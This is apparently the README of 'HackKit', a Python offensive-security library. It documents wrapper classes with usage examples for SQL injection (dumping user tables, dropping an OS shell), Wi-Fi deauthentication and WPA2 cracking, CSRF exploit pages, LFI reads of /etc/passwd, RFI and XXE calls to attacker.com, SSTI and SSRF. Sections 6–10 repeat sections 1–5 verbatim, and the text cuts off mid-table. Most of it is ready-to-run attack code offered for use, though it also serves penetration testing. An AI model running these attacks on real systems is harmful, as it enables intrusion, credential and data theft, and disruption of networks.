HackKit 1.0.0
WiFi, CSRF, LFI/RFI, SSTI, XXE, SSRF, file uploads, directory brute‑force, auth bypass, header analysis, WordPress exploitation, and more. Missing any method is unacceptable — every function below is exhaustively documented with descriptions, parameters, return values, example usage, and a master example for each class demonstrating all capabilities
Requires Python: >=3.6

# HackKit (continued)

**An amazing python library that includes a huge number of classes and components for implementing cyber attacks and penetration testing**, for example, classes for Wi-Fi, CSRF, LFI/RFI, SSTI, XXE, SSRF, file uploads, directory brute-force, auth bypass, header analysis, WordPress exploitation, WINDOWS, NETWORK, DOS, BluetoothHunter, Decode, RFIDWizard and more.
---

## Full Code by Mohammad Taha Gorji  
**GitHub:** [mr‑r0ot](https://github.com/mr-r0ot)

---

## 🔧 Installation

```bash
# (Recommended) Install via PyPI:
pip install HackKit
```

# Or from source:
git clone https://github.com/mr-r0ot/HackKit.git
cd HackKit
python setup.py install

    System Prerequisites:

        External tools: sqlmap, nmap, git, curl, aircrack-ng suite (Linux via apt)

        Python packages: requests, beautifulsoup4, tqdm, nmap3, bleak, scapy, etc.

📝 Quickstart
```
#pip install HackKit

from HackKit import *


```



---

## 📚 Module Reference

Below each class includes: **Platform support**, **Dependencies**, **Methods** table, detailed **Parameters**, **Return values**, **Raises**, and a **comprehensive usage example** covering all methods.

---

### 1. `SQLI`

**Platforms:** Linux, Windows
**Dependencies:** `sqlmap` CLI (installed via apt on Linux or GitHub ZIP on Windows)

#### Methods

| Method                                                                         | Signature                                                         | Description                                                                                                        |
| ------------------------------------------------------------------------------ | ----------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ |
| `__init__()`                                                                   | `def __init__(self) -> None`                                      | Initialize; detects `platform.system()`, calls `automatic_dependency_checking()`.                                  |
| `automatic_dependency_checking()`                                              | `def automatic_dependency_checking(self) -> None`                 | Installs or downloads `sqlmap`. On Linux via `apt`; on Windows downloads ZIP, extracts, installs requirements.txt. |
| `execute_sqlmap(options: List[str])`                                           | `def execute_sqlmap(self, options: List[str]) -> None`            | Runs `sqlmap` with provided options list. Raises `CalledProcessError` on failure.                                  |
| `banner()`                                                                     | `def banner(self) -> None`                                        | Shows `sqlmap --version`.                                                                                          |
| `scan_url(url: str, level: int =1, risk:int=1)`                                | `def scan_url(self, url: str, level: int=1, risk: int=1) -> None` | Performs a basic scan.                                                                                             |
| `enumerate_databases(url: str)`                                                | `def enumerate_databases(self, url: str) -> None`                 | Lists databases.                                                                                                   |
| `enumerate_tables(url: str, db: str)`                                          | `def enumerate_tables(self, url: str, db: str) -> None`           | Lists tables in specified database.                                                                                |
| `dump_table(url: str, db: str, table: str, columns: Optional[List[str]]=None)` | ... -> None                                                       | Dumps full table or only given columns (comma-separated).                                                          |
| `os_shell(url: str)`                                                           | `def os_shell(self, url: str) -> None`                            | Drops an OS-level shell.                                                                                           |
| `sql_shell(url: str)`                                                          | `def sql_shell(self, url: str) -> None`                           | Opens interactive SQL shell.                                                                                       |

##### Example: SQLI Master Example

```python
from HackKit import SQLI

# Initialize
sqli = SQLI()
# Show banner
sqli.banner()
# Scan preparation
target = "http://example.com/vuln.php?id=1"
# 1) Basic scan
sqli.scan_url(target, level=2, risk=3)
# 2) List DBs
sqli.enumerate_databases(target)
# Assume 'users_db'
# 3) List tables
sqli.enumerate_tables(target, db="users_db")
# Assume 'users'
# 4) Dump only id and email
sqli.dump_table(target, db="users_db", table="users", columns=["id","email"])
# 5) Drop OS shell
# sqli.os_shell(target)
# 6) Drop SQL shell
# sqli.sql_shell(target)
```

---

### 2. `XSS`

**Platforms:** Linux, Windows
**Dependencies:** `git`, Python requirements.txt from XSStrike repo

#### Methods

| Method                                                                                      | Signature                                                | Description                                                           |
| ------------------------------------------------------------------------------------------- | -------------------------------------------------------- | --------------------------------------------------------------------- |
| `__init__()`                                                                                | `def __init__(self) -> None`                             | Detects platform, calls `automatic_dependency_checking()`.            |
| `automatic_dependency_checking()`                                                           | `def automatic_dependency_checking(self) -> None`        | Clones or pulls XSStrike repo; installs Python deps via pip.          |
| `execute_xsstrike(options: List[str])`                                                      | `def execute_xsstrike(self, options: List[str]) -> None` | Runs `xsstrike.py` with given options.                                |
| `banner()`                                                                                  | `def banner(self) -> None`                               | Shows help (usage).                                                   |
| `scan_url(url: str, blind: bool=False, crawl: bool=False, threads: int=5, timeout: int=10)` | ... -> None                                              | Scans one URL for reflected/stored/DOM XSS with optional blind/crawl. |
| `crawl_site(url: str, depth: int=2)`                                                        | `...`                                                    | Crawls and extracts parameters to feed into `scan_url`.               |
| `fuzz_parameters(url: str, param: Optional[str]=None)`                                      | ... -> None                                              | Fuzzes given parameter or all.                                        |
| `generate_report(url: str, output: str="xsstrike_report.html")`                             | ... -> None                                              | Runs scan and writes HTML report at given path.                       |

##### Example: XSS Master Example

```python
from HackKit import XSS

xss = XSS()
xss.banner()
site = "http://example.com/search?q=TEST"
# Full blind crawl
xss.scan_url(site, blind=True, crawl=True, threads=8, timeout=15)
# Crawl separately, then fuzz specific param
xss.crawl_site("http://example.com", depth=3)
xss.fuzz_parameters(site, param="q")
# Generate HTML report
xss.generate_report(site, output="example_xss_report.html")
```

---

### 3. `NETWORK`

**Platforms:** Linux (nmap CLI), Windows (`python3-nmap3`)
**Dependencies:** `nmap` or `python3-nmap3`

#### Methods

| Method                                                                                          | Signature                                         | Description                                 |
| ----------------------------------------------------------------------------------------------- | ------------------------------------------------- | ------------------------------------------- |
| `__init__()`                                                                                    | `def __init__(self) -> None`                      | Detects platform and installs dependencies. |
| `automatic_dependency_checking()`                                                               | `def automatic_dependency_checking(self) -> None` | Ensures `nmap` or `nmap3` installed.        |
| `ping_scan(targets: List[str], timeout: int=5) -> Dict[str, any]`                               | Ping scan hosts                                   |                                             |
| `port_scan(target: str, ports: str="1-1024", args: Optional[List[str]]=None) -> Dict[str, any]` | Scan ports                                        |                                             |
| `version_detection(target: str) -> Dict[str, any]`                                              | Service/version detection                         |                                             |
| `os_detection(target: str) -> Dict[str, any]`                                                   | OS fingerprinting                                 |                                             |
| `script_scan(target: str, scripts: List[str]) -> Dict[str, any]`                                | NSE script execution                              |                                             |
| `full_scan(target: str) -> Dict[str, any]`                                                      | All-in-one aggressive scan                        |                                             |

##### Example: NETWORK Master Example

```python
from HackKit import NETWORK

net = NETWORK()
# Ping scan
res1 = net.ping_scan(["192.168.1.1","192.168.1.2"], timeout=3)
print(res1)
# Port scan common ports
res2 = net.port_scan("192.168.1.1", ports="22,80,443")
print(res2)
# Version detect
res3 = net.version_detection("192.168.1.1")
# OS detect
res4 = net.os_detection("192.168.1.1")
# NSE script
res5 = net.script_scan("192.168.1.1", scripts=["http-vuln-cve2017-5638"])
# Full scan
res6 = net.full_scan("192.168.1.1")
```

---

### 4. `WIFI`

**Platforms:** Linux only
**Dependencies:** aircrack-ng suite (`iwconfig`, `airmon-ng`, etc.)

#### Methods

| Method                                                                                               | Signature                             | Description |
| ---------------------------------------------------------------------------------------------------- | ------------------------------------- | ----------- |
| `__init__(interface: Optional[str]=None)`                                                            | Set interface; installs missing tools |             |
| `automatic_dependency_checking()`                                                                    | Checks & installs all required tools  |             |
| `detect_interfaces() -> List[str]`                                                                   | Returns list of wireless interfaces   |             |
| `enable_monitor_mode(interface: str) -> None`                                                        | Enable monitor mode                   |             |
| `disable_monitor_mode(interface: Optional[str]=None) -> None`                                        | Disable monitor mode                  |             |
| `scan_access_points(interface: Optional[str]=None, timeout: int=15) -> List[Dict[str,str]]`          | Returns BSSID, CHANNEL, ESSID         |             |
| `deauth_attack(bssid: str, client_mac: Optional[str]=None, count: int=10) -> None`                   | Send deauth frames                    |             |
| `capture_handshake(bssid: str, output_file: str, timeout: int=60) -> None`                           | Capture WPA2 handshake                |             |
| `crack_wpa2(handshake_file: str, wordlist: str, output_file: str) -> None`                           | Crack handshake                       |             |
| `enumerate_clients(bssid: str, interface: Optional[str]=None) -> List[str]`                          | List connected clients                |             |
| `identify_device_technology(mac: str) -> Optional[str]`                                              | OUI vendor lookup                     |             |
| `wps_pin_attack(bssid: str, interface: Optional[str]=None, timeout: int=120) -> None`                | WPS PIN brute                         |             |
| `wps_pixie_dust(bssid: str, interface: Optional[str]=None, output_file: Optional[str]=None) -> None` | Pixie dust attack                     |             |
| `packet_injection_test(interface: Optional[str]=None) -> bool`                                       | Test injection capability             |             |

##### Example: WIFI Master Example

```python
from HackKit import WIFI

wifi = WIFI(interface="wlan0")
# Detect
ifaces = wifi.detect_interfaces()
print(ifaces)
iface = ifaces[0]
# Enable monitor
wifi.enable_monitor_mode(iface)
# Scan APs
aps = wifi.scan_access_points(timeout=10)
print(aps)
bssid = aps[0]['BSSID']
# Deauth one client
wifi.deauth_attack(bssid=bssid, count=5)
# Capture handshake
wifi.capture_handshake(bssid, output_file="hand.cap", timeout=60)
# Crack handshake
wifi.crack_wpa2("hand.cap","rockyou.txt","cracked.txt")
# Enumerate clients
clients = wifi.enumerate_clients(bssid)
print(clients)
# Packet injection test
print(wifi.packet_injection_test())
```

---

### 5. `CSRF`

**Platforms:** Cross-platform
**Dependencies:** `requests`, `beautifulsoup4`

#### Methods

| Method                                                                         | Signature                                         | Description                                      |
| ------------------------------------------------------------------------------ | ------------------------------------------------- | ------------------------------------------------ |
| `__init__()`                                                                   | `def __init__(self) -> None`                      | Imports and ensures `requests`, `BeautifulSoup`. |
| `automatic_dependency_checking()`                                              | Installs Python packages via pip if missing       |                                                  |
| `detect_csrf_tokens(url: str) -> List[Dict[str,str]]`                          | Extract hidden form inputs matching /csrf         | token/i                                          |
| `test_csrf_get(url: str, token_param: str) -> bool`                            | Return True if GET without valid token is blocked |                                                  |
| `test_csrf_post(url: str, form_data: Dict[str,str], token_param: str) -> bool` | POST analog                                       |                                                  |
| `generate_exploit_html(target_url: str, params: Dict[str,str]) -> str`         | Build auto-submitting HTML form                   |                                                  |
| `suggest_protection() -> str`                                                  | Returns best-practices string                     |                                                  |

##### Example: CSRF Master Example

```python
from HackKit import CSRF

csrf = CSRF()
url = "http://example.com/transfer"
# Detect tokens
tokens = csrf.detect_csrf_tokens(url)
print(tokens)
# Test GET
print(csrf.test_csrf_get(url, token_param=tokens[0]['name']))
# Test POST
print(csrf.test_csrf_post(url, form_data={"to":"victim","amount":"100"}, token_param=tokens[0]['name']))
# Generate exploit page
html = csrf.generate_exploit_html(url, params={"to":"victim","amount":"100", tokens[0]['name']:"INVALID"})
print(html)
# Suggest
print(csrf.suggest_protection())
```

---


### 6. `SQLI`

**Platforms:** Linux, Windows
**Dependencies:** `sqlmap` CLI (installed via apt on Linux or GitHub ZIP on Windows)

#### Methods

| Method                                                                         | Signature                                                         | Description                                                                                                        |
| ------------------------------------------------------------------------------ | ----------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ |
| `__init__()`                                                                   | `def __init__(self) -> None`                                      | Initialize; detects `platform.system()`, calls `automatic_dependency_checking()`.                                  |
| `automatic_dependency_checking()`                                              | `def automatic_dependency_checking(self) -> None`                 | Installs or downloads `sqlmap`. On Linux via `apt`; on Windows downloads ZIP, extracts, installs requirements.txt. |
| `execute_sqlmap(options: List[str])`                                           | `def execute_sqlmap(self, options: List[str]) -> None`            | Runs `sqlmap` with provided options list. Raises `CalledProcessError` on failure.                                  |
| `banner()`                                                                     | `def banner(self) -> None`                                        | Shows `sqlmap --version`.                                                                                          |
| `scan_url(url: str, level: int =1, risk:int=1)`                                | `def scan_url(self, url: str, level: int=1, risk: int=1) -> None` | Performs a basic scan.                                                                                             |
| `enumerate_databases(url: str)`                                                | `def enumerate_databases(self, url: str) -> None`                 | Lists databases.                                                                                                   |
| `enumerate_tables(url: str, db: str)`                                          | `def enumerate_tables(self, url: str, db: str) -> None`           | Lists tables in specified database.                                                                                |
| `dump_table(url: str, db: str, table: str, columns: Optional[List[str]]=None)` | ... -> None                                                       | Dumps full table or only given columns (comma-separated).                                                          |
| `os_shell(url: str)`                                                           | `def os_shell(self, url: str) -> None`                            | Drops an OS-level shell.                                                                                           |
| `sql_shell(url: str)`                                                          | `def sql_shell(self, url: str) -> None`                           | Opens interactive SQL shell.                                                                                       |

##### Example: SQLI Master Example

```python
from HackKit import SQLI

# Initialize
sqli = SQLI()
# Show banner
sqli.banner()
# Scan preparation
target = "http://example.com/vuln.php?id=1"
# 1) Basic scan
sqli.scan_url(target, level=2, risk=3)
# 2) List DBs
sqli.enumerate_databases(target)
# Assume 'users_db'
# 3) List tables
sqli.enumerate_tables(target, db="users_db")
# Assume 'users'
# 4) Dump only id and email
sqli.dump_table(target, db="users_db", table="users", columns=["id","email"])
# 5) Drop OS shell
# sqli.os_shell(target)
# 6) Drop SQL shell
# sqli.sql_shell(target)
```

---

### 7. `XSS`

**Platforms:** Linux, Windows
**Dependencies:** `git`, Python requirements.txt from XSStrike repo

#### Methods

| Method                                                                                      | Signature                                                | Description                                                           |
| ------------------------------------------------------------------------------------------- | -------------------------------------------------------- | --------------------------------------------------------------------- |
| `__init__()`                                                                                | `def __init__(self) -> None`                             | Detects platform, calls `automatic_dependency_checking()`.            |
| `automatic_dependency_checking()`                                                           | `def automatic_dependency_checking(self) -> None`        | Clones or pulls XSStrike repo; installs Python deps via pip.          |
| `execute_xsstrike(options: List[str])`                                                      | `def execute_xsstrike(self, options: List[str]) -> None` | Runs `xsstrike.py` with given options.                                |
| `banner()`                                                                                  | `def banner(self) -> None`                               | Shows help (usage).                                                   |
| `scan_url(url: str, blind: bool=False, crawl: bool=False, threads: int=5, timeout: int=10)` | ... -> None                                              | Scans one URL for reflected/stored/DOM XSS with optional blind/crawl. |
| `crawl_site(url: str, depth: int=2)`                                                        | `...`                                                    | Crawls and extracts parameters to feed into `scan_url`.               |
| `fuzz_parameters(url: str, param: Optional[str]=None)`                                      | ... -> None                                              | Fuzzes given parameter or all.                                        |
| `generate_report(url: str, output: str="xsstrike_report.html")`                             | ... -> None                                              | Runs scan and writes HTML report at given path.                       |

##### Example: XSS Master Example

```python
from HackKit import XSS

xss = XSS()
xss.banner()
site = "http://example.com/search?q=TEST"
# Full blind crawl
xss.scan_url(site, blind=True, crawl=True, threads=8, timeout=15)
# Crawl separately, then fuzz specific param
xss.crawl_site("http://example.com", depth=3)
xss.fuzz_parameters(site, param="q")
# Generate HTML report
xss.generate_report(site, output="example_xss_report.html")
```

---

### 8. `NETWORK`

**Platforms:** Linux (nmap CLI), Windows (`python3-nmap3`)
**Dependencies:** `nmap` or `python3-nmap3`

#### Methods

| Method                                                                                          | Signature                                         | Description                                 |
| ----------------------------------------------------------------------------------------------- | ------------------------------------------------- | ------------------------------------------- |
| `__init__()`                                                                                    | `def __init__(self) -> None`                      | Detects platform and installs dependencies. |
| `automatic_dependency_checking()`                                                               | `def automatic_dependency_checking(self) -> None` | Ensures `nmap` or `nmap3` installed.        |
| `ping_scan(targets: List[str], timeout: int=5) -> Dict[str, any]`                               | Ping scan hosts                                   |                                             |
| `port_scan(target: str, ports: str="1-1024", args: Optional[List[str]]=None) -> Dict[str, any]` | Scan ports                                        |                                             |
| `version_detection(target: str) -> Dict[str, any]`                                              | Service/version detection                         |                                             |
| `os_detection(target: str) -> Dict[str, any]`                                                   | OS fingerprinting                                 |                                             |
| `script_scan(target: str, scripts: List[str]) -> Dict[str, any]`                                | NSE script execution                              |                                             |
| `full_scan(target: str) -> Dict[str, any]`                                                      | All-in-one aggressive scan                        |                                             |

##### Example: NETWORK Master Example

```python
from HackKit import NETWORK

net = NETWORK()
# Ping scan
res1 = net.ping_scan(["192.168.1.1","192.168.1.2"], timeout=3)
print(res1)
# Port scan common ports
res2 = net.port_scan("192.168.1.1", ports="22,80,443")
print(res2)
# Version detect
res3 = net.version_detection("192.168.1.1")
# OS detect
res4 = net.os_detection("192.168.1.1")
# NSE script
res5 = net.script_scan("192.168.1.1", scripts=["http-vuln-cve2017-5638"])
# Full scan
res6 = net.full_scan("192.168.1.1")
```

---

### 9. `WIFI`

**Platforms:** Linux only
**Dependencies:** aircrack-ng suite (`iwconfig`, `airmon-ng`, etc.)

#### Methods

| Method                                                                                               | Signature                             | Description |
| ---------------------------------------------------------------------------------------------------- | ------------------------------------- | ----------- |
| `__init__(interface: Optional[str]=None)`                                                            | Set interface; installs missing tools |             |
| `automatic_dependency_checking()`                                                                    | Checks & installs all required tools  |             |
| `detect_interfaces() -> List[str]`                                                                   | Returns list of wireless interfaces   |             |
| `enable_monitor_mode(interface: str) -> None`                                                        | Enable monitor mode                   |             |
| `disable_monitor_mode(interface: Optional[str]=None) -> None`                                        | Disable monitor mode                  |             |
| `scan_access_points(interface: Optional[str]=None, timeout: int=15) -> List[Dict[str,str]]`          | Returns BSSID, CHANNEL, ESSID         |             |
| `deauth_attack(bssid: str, client_mac: Optional[str]=None, count: int=10) -> None`                   | Send deauth frames                    |             |
| `capture_handshake(bssid: str, output_file: str, timeout: int=60) -> None`                           | Capture WPA2 handshake                |             |
| `crack_wpa2(handshake_file: str, wordlist: str, output_file: str) -> None`                           | Crack handshake                       |             |
| `enumerate_clients(bssid: str, interface: Optional[str]=None) -> List[str]`                          | List connected clients                |             |
| `identify_device_technology(mac: str) -> Optional[str]`                                              | OUI vendor lookup                     |             |
| `wps_pin_attack(bssid: str, interface: Optional[str]=None, timeout: int=120) -> None`                | WPS PIN brute                         |             |
| `wps_pixie_dust(bssid: str, interface: Optional[str]=None, output_file: Optional[str]=None) -> None` | Pixie dust attack                     |             |
| `packet_injection_test(interface: Optional[str]=None) -> bool`                                       | Test injection capability             |             |

##### Example: WIFI Master Example

```python
from HackKit import WIFI

wifi = WIFI(interface="wlan0")
# Detect
ifaces = wifi.detect_interfaces()
print(ifaces)
iface = ifaces[0]
# Enable monitor
wifi.enable_monitor_mode(iface)
# Scan APs
aps = wifi.scan_access_points(timeout=10)
print(aps)
bssid = aps[0]['BSSID']
# Deauth one client
wifi.deauth_attack(bssid=bssid, count=5)
# Capture handshake
wifi.capture_handshake(bssid, output_file="hand.cap", timeout=60)
# Crack handshake
wifi.crack_wpa2("hand.cap","rockyou.txt","cracked.txt")
# Enumerate clients
clients = wifi.enumerate_clients(bssid)
print(clients)
# Packet injection test
print(wifi.packet_injection_test())
```

---

### 10. `CSRF`

**Platforms:** Cross-platform
**Dependencies:** `requests`, `beautifulsoup4`

#### Methods

| Method                                                                         | Signature                                         | Description                                      |
| ------------------------------------------------------------------------------ | ------------------------------------------------- | ------------------------------------------------ |
| `__init__()`                                                                   | `def __init__(self) -> None`                      | Imports and ensures `requests`, `BeautifulSoup`. |
| `automatic_dependency_checking()`                                              | Installs Python packages via pip if missing       |                                                  |
| `detect_csrf_tokens(url: str) -> List[Dict[str,str]]`                          | Extract hidden form inputs matching /csrf         | token/i                                          |
| `test_csrf_get(url: str, token_param: str) -> bool`                            | Return True if GET without valid token is blocked |                                                  |
| `test_csrf_post(url: str, form_data: Dict[str,str], token_param: str) -> bool` | POST analog                                       |                                                  |
| `generate_exploit_html(target_url: str, params: Dict[str,str]) -> str`         | Build auto-submitting HTML form                   |                                                  |
| `suggest_protection() -> str`                                                  | Returns best-practices string                     |                                                  |

##### Example: CSRF Master Example

```python
from HackKit import CSRF

csrf = CSRF()
url = "http://example.com/transfer"
# Detect tokens
tokens = csrf.detect_csrf_tokens(url)
print(tokens)
# Test GET
print(csrf.test_csrf_get(url, token_param=tokens[0]['name']))
# Test POST
print(csrf.test_csrf_post(url, form_data={"to":"victim","amount":"100"}, token_param=tokens[0]['name']))
# Generate exploit page
html = csrf.generate_exploit_html(url, params={"to":"victim","amount":"100", tokens[0]['name']:"INVALID"})
print(html)
# Suggest
print(csrf.suggest_protection())
```

---

### 11. `LFI_RFI`

**Platforms:** Cross-platform
**Dependencies:** `requests`

#### Methods

| Method                                                                              | Signature                                                                  | Description                               |
| ----------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | ----------------------------------------- |
| `__init__()`                                                                        | `def __init__(self) -> None`                                               | Imports and ensures `requests` available. |
| `automatic_dependency_checking()`                                                   | Installs `requests` if missing.                                            |                                           |
| `detect_lfi(url: str, param: str, payloads: Optional[List[str]]=None) -> List[str]` | Inject LFI payloads, return successful payloads.                           |                                           |
| `read_file(url: str, param: str, filepath: str) -> Optional[str]`                   | Read remote file via LFI, return content or None.                          |                                           |
| `test_rfi(url: str, param: str, remote_url: str) -> bool`                           | Test RFI by including external URL, return True if remote content appears. |                                           |

##### Example: LFI\_RFI Master Example

```python
from HackKit import LFI_RFI

lfi = LFI_RFI()
base = "http://vuln/page.php?file="
# 1) Detect LFI
payloads = lfi.detect_lfi(base + "user=1", param="file")
print("Successful payloads:", payloads)
# 2) Read /etc/passwd
content = lfi.read_file(base, param="file", filepath="../../../../etc/passwd")
print(content)
# 3) Test RFI (OOB)
is_rfi = lfi.test_rfi(base, param="file", remote_url="http://attacker.com/payload")
print("RFI possible?", is_rfi)
```

---

### 12. `SSTI`

**Platforms:** Cross-platform
**Dependencies:** `requests`

#### Methods

| Method                                                                                    | Signature                                          | Description                   |
| ----------------------------------------------------------------------------------------- | -------------------------------------------------- | ----------------------------- |
| `__init__()`                                                                              | `def __init__(self) -> None`                       | Ensures `requests` available. |
| `automatic_dependency_checking()`                                                         | Installs `requests` if missing.                    |                               |
| `detect_ssti(url: str, param: str, payloads: Optional[List[str]]=None) -> Dict[str,bool]` | Test SSTI payloads, return dict of payload->bool.  |                               |
| `exploit_ssti(url: str, param: str, template: str) -> Optional[str]`                      | Send custom template, return response text on 200. |                               |
| `get_interactive_shell(url: str, param: str) -> None`                                     | Print guidance for interactive SSTI shell usage.   |                               |

##### Example: SSTI Master Example

```python
from HackKit import SSTI

ssti = SSTI()
url = "http://vuln/render"
# 1) Detect SSTI
res = ssti.detect_ssti(url, param="template")
print(res)
# 2) Exploit with arithmetic
resp = ssti.exploit_ssti(url, param="template", template="{{7*7}}")
print(resp)
# 3) Interactive shell hint
ssti.get_interactive_shell(url, param="template")
```

---

### 13. `XXE`

**Platforms:** Cross-platform
**Dependencies:** `requests`

#### Methods

| Method                                                                                      | Signature                                       | Description                   |
| ------------------------------------------------------------------------------------------- | ----------------------------------------------- | ----------------------------- |
| `__init__()`                                                                                | `def __init__(self) -> None`                    | Ensures `requests` available. |
| `automatic_dependency_checking()`                                                           | Installs `requests` if missing.                 |                               |
| `test_xxe(endpoint: str, xml_payload: str, header: str='application/xml') -> Optional[str]` | Send XML payload, return response text on 200.  |                               |
| `generate_xxe_payload(filepath: str, identifier: str='xxe') -> str`                         | Build simple XXE payload reading local file.    |                               |
| `out_of_band_xxe(endpoint: str, oob_url: str) -> str`                                       | Generate OOB payload and send, return response. |                               |

##### Example: XXE Master Example

```python
from HackKit import XXE

xxe = XXE()
url = "http://vuln/xml"
# 1) Build payload
payload = xxe.generate_xxe_payload(filepath="/etc/passwd")
# 2) Send payload
resp = xxe.test_xxe(url, payload)
print(resp)
# 3) OOB payload
oob = xxe.out_of_band_xxe(url, oob_url="http://attacker.com/notify")
print(oob)
```

---

### 14. `SSRF`

**Platforms:** Cross-platform
**Dependencies:** `requests`, `tqdm`, `git`

#### Methods

| Method                                                                                                                                                                                                                                                                         | Signature                                                         | Description                                      |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------- | ------------------------------------------------ |
| `__init__()`                                                                                                                                                                                                                                                                   | `def __init__(self) -> None`                                      | Clones/pulls SSRFmap repo; installs Python deps. |
| `automatic_dependency_checking()`                                                                                                                                                                                                                                              | Ensures `git`, clones or updates repo, installs requirements.txt. |                                                  |
| `execute(reqfile: str, param: str, modules: List[str], handler: Optional[int]=None, lhost: Optional[str]=None, lport: Optional[int]=None, uagent: Optional[str]=None, ssl: bool=False, proxy: Optional[str]=None, level: int=1, extra_args: Optional[List[str]]=None) -> None` | Run ssrfmap.py with given options.                                |                                                  |
| `module_readfiles(reqfile: str, param: str, rfiles: Optional[str]=None) -> None`                                                                                                                                                                                               | Convenience: file read module.